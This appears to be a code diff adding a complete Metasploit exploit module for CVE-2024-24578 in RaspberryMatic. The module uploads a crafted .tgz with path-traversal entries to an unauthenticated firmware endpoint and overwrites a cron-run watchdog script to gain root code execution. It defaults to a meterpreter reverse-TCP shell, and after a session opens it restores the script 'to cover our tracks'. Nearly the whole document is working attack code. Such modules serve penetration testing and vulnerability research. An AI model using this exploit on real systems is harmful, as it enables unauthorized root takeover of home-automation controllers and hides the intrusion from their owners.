|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.', |
| 17 | + 'Description' => %q{ |
| 18 | + RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple |
| 19 | + issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached |
| 20 | + through the URL `/pages/jpages/system/DeviceFirmware/addFirmware`. |
| 21 | + This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be |
| 22 | + automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to |
| 23 | + break out of the predefined temp directory and write files to other locations outside this path. |
| 24 | +
|
| 25 | + This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files |
| 26 | + on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in |
| 27 | + `/usr/local/addons/mediola/bin/`, which will be executed every five minutes through a cron job where attackers |
| 28 | + can gain remote code execution as root user, allowing a full system compromise. |
| 29 | +
|
| 30 | + RaspberryMatic versions <= `3.73.9.20240130` are vulnerable. |
| 31 | + }, |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'Author' => [ |
| 34 | + 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor |
| 35 | + 'h0ng10 <https://git.hub/h0ng10>' # discovery of this vulnerability |
| 36 | + ], |
| 37 | + 'References' => [ |
| 38 | + ['CVE', '2024-24578'], |
| 39 | + ['URL', 'https://attackerkb.com/topics/ywHhBnSObR/cve-2024-24578'], |
| 40 | + ['URL', 'https://github.com/jens-maus/RaspberryMatic/security/advisories/GHSA-q967-q4j8-637h'] |
| 41 | + ], |
| 42 | + 'DisclosureDate' => '2024-03-16', |
| 43 | + 'Platform' => ['unix', 'linux'], |
| 44 | + 'Arch' => [ARCH_CMD], |
| 45 | + 'Privileged' => true, |
| 46 | + 'Targets' => [ |
| 47 | + [ |
| 48 | + 'Unix/Linux Command', |
| 49 | + { |
| 50 | + 'Platform' => ['unix', 'linux'], |
| 51 | + 'Arch' => [ARCH_CMD], |
| 52 | + 'Type' => :unix_cmd, |
| 53 | + 'DefaultOptions' => { |
| 54 | + 'PAYLOAD' => 'cmd/linux/http/aarch64/meterpreter_reverse_tcp', |
| 55 | + 'FETCH_WRITABLE_DIR' => '/tmp' |
| 56 | + } |
| 57 | + } |
| 58 | + ] |
| 59 | + ], |
| 60 | + 'DefaultTarget' => 0, |
| 61 | + 'DefaultOptions' => { |
| 62 | + 'SSL' => true, |
| 63 | + 'RPORT' => 443, |
| 64 | + 'WfsDelay' => 5 * 60 # wait at least five minutes for RCE |
| 65 | + }, |
| 66 | + 'Notes' => { |
| 67 | + 'Stability' => [CRASH_SAFE], |
| 68 | + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], |
| 69 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] |
| 70 | + } |
| 71 | + ) |
| 72 | + ) |
| 73 | + register_options([ |
| 74 | + OptString.new('TARGETURI', [ true, 'The RaspberryMatic endpoint URL', '/' ]), |
| 75 | + ]) |
| 76 | + end |
| 77 | + |
| 78 | + # Method to construct malicious file in .tgz form |
| 79 | + # @param payload [String] to upload |
| 80 | + # @param fpath [String] to write the payload contents |
| 81 | + # @return [Rex::Text] Malicious .tgz form |
| 82 | + def create_malicious_tgz(payload, fpath) |
| 83 | + tarfile = StringIO.new |
| 84 | + Rex::Tar::Writer.new tarfile do |tar| |
| 85 | + tar.add_file(fpath.to_s, 0o777) do |io| |
| 86 | + io.write payload |
| 87 | + end |
| 88 | + end |
| 89 | + # tarfile.rewind |
| 90 | + # tarfile.close |
| 91 | + |
| 92 | + Rex::Text.gzip(tarfile.string) |
| 93 | + end |
| 94 | + |
| 95 | + # CVE-2024-24578: remote code execution via zip slip overwriting watchdog script |
| 96 | + # affected components: |
| 97 | + # web endpoint /pages/jpages/system/DeviceFirmware/addFirmware |
| 98 | + # shell script /usr/local/addons/mediola/bin/watchdog |
| 99 | + def execute_command(cmd, _opts = {}) |
| 100 | + # create malicious compressed tar file (tgz) to overwrite watchdog script |
| 101 | + # with malicious payload triggering the RCE |
| 102 | + fname = Rex::Text.rand_text_alphanumeric(8..12) |
| 103 | + fpath = '../../../../../../../../../..//usr/local/addons/mediola/bin/watchdog' |
| 104 | + payload_tgz = create_malicious_tgz(cmd, fpath) |
| 105 | + |
| 106 | + # construct multipart form data |
| 107 | + form_data = Rex::MIME::Message.new |
| 108 | + form_data.add_part(payload_tgz, 'application/gzip', 'binary', "form-data; name=\"file\"; filename=\"#{fname}.tgz\"") |
| 109 | + |
| 110 | + # upload the malicious tgz file |
| 111 | + print_status("Uploading #{fname}.tgz") |
| 112 | + res = send_request_cgi({ |
| 113 | + 'method' => 'POST', |
| 114 | + 'uri' => normalize_uri(target_uri.path, 'pages', 'jpages', 'system', 'DeviceFirmware', 'addFirmware'), |
| 115 | + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", |
| 116 | + 'data' => form_data.to_s |
| 117 | + }) |
| 118 | + fail_with(Failure::NoAccess, "Upload #{fname}.tgz is not successful.") unless res&.code == 200 && res.body.include?('${addDevFirmwareInfoCorrupt}') |
| 119 | + print_status('Waiting 5 minutes for watchdog execution via cron to trigger the RCE.') |
| 120 | + end |
| 121 | + |
| 122 | + def on_new_session(session) |
| 123 | + # restore orginal watchdog script to cover our tracks |
| 124 | + print_status('Restoring original watchdog script.') |
| 125 | + if session.type == 'meterpreter' |
| 126 | + session.sys.process.execute('/bin/sh', '-c "echo -ne \'#!/bin/sh\nif [ -e /etc/config/neoDisabled ];then\n\texit 0\nfi\n\n\' > /usr/local/addons/mediola/bin/watchdog"') |
| 127 | + session.sys.process.execute('/bin/sh', '-c "echo -ne \'if [ -e /usr/local/addons/mediola/Disabled ];then\n\texit 0\nfi\n\n\' >> /usr/local/addons/mediola/bin/watchdog"') |
| 128 | + session.sys.process.execute('/bin/sh', '-c "echo -ne \'PIDOFD=\$(pgrep -f \"neo_server.*automation.js\")\n\n\' >> /usr/local/addons/mediola/bin/watchdog"') |
| 129 | + session.sys.process.execute('/bin/sh', '-c "echo -ne \'if [ -z \"\$PIDOFD\" ]; then\n\t/usr/local/etc/config/rc.d/97NeoServer start\nfi\n\' >> /usr/local/addons/mediola/bin/watchdog"') |
| 130 | + else |
| 131 | + session.shell_command_token("echo -ne '#!/bin/sh\nif [ -e /etc/config/neoDisabled ];then\n\texit 0\nfi\n\n' > /usr/local/addons/mediola/bin/watchdog") |
| 132 | + session.shell_command_token("echo -ne 'if [ -e /usr/local/addons/mediola/Disabled ];then\n\texit 0\nfi\n\n' >> /usr/local/addons/mediola/bin/watchdog") |
| 133 | + session.shell_command_token("echo -ne 'PIDOFD=$(pgrep -f \"neo_server.*automation.js\")\n\n' >> /usr/local/addons/mediola/bin/watchdog") |
| 134 | + session.shell_command_token("echo -ne 'if [ -z \"$PIDOFD\" ]; then\n\t/usr/local/etc/config/rc.d/97NeoServer start\nfi\n' >> /usr/local/addons/mediola/bin/watchdog") |
| 135 | + end |
| 136 | + super |
| 137 | + end |
| 138 | + |
| 139 | + def check |
| 140 | + print_status("Checking if #{peer} can be exploited.") |
| 141 | + res = send_request_cgi({ |
| 142 | + 'method' => 'POST', |
| 143 | + 'uri' => normalize_uri(target_uri.path, '/config/help.cgi') |
| 144 | + }) |
| 145 | + return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200 && res.body.include?('${dialogHelpInfoLblVersion}') |
| 146 | + |
| 147 | + # parse the version number |
| 148 | + # Examples: |
| 149 | + # ${dialogHelpInfoLblVersion} 3.73.9.20240130 |
| 150 | + # ${dialogHelpInfoLblVersion} 3.73.9 |
| 151 | + version = res.body.match(/\$\{dialogHelpInfoLblVersion\}\s*\d{1,2}\.\d{1,2}\.\d{1,2}/) |
| 152 | + # when found, remove whitespaces to avoid suprises in string splitting and comparison |
| 153 | + unless version.nil? |
| 154 | + version_number = version[0].gsub(/[[:space:]]/, '').split('}')[1] |
| 155 | + # Check if target is vulnerable |
| 156 | + if version_number |
| 157 | + if Rex::Version.new(version_number) <= Rex::Version.new('3.73.9') |
| 158 | + return CheckCode::Appears("RaspberryMatic #{version_number}") |
| 159 | + else |
| 160 | + return CheckCode::Safe("RaspberryMatic #{version_number}") |
| 161 | + end |
| 162 | + end |
| 163 | + end |
| 164 | + CheckCode::Unknown("Parsing version info from #{normalize_uri(target_uri.path, '/config/help.cgi')} failed.") |
| 165 | + end |
| 166 | + |
| 167 | + def exploit |
| 168 | + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") |
| 169 | + case target['Type'] |
| 170 | + when :unix_cmd |
| 171 | + execute_command(payload.encoded) |
| 172 | + end |
| 173 | + end |
| 174 | +end |
0 commit comments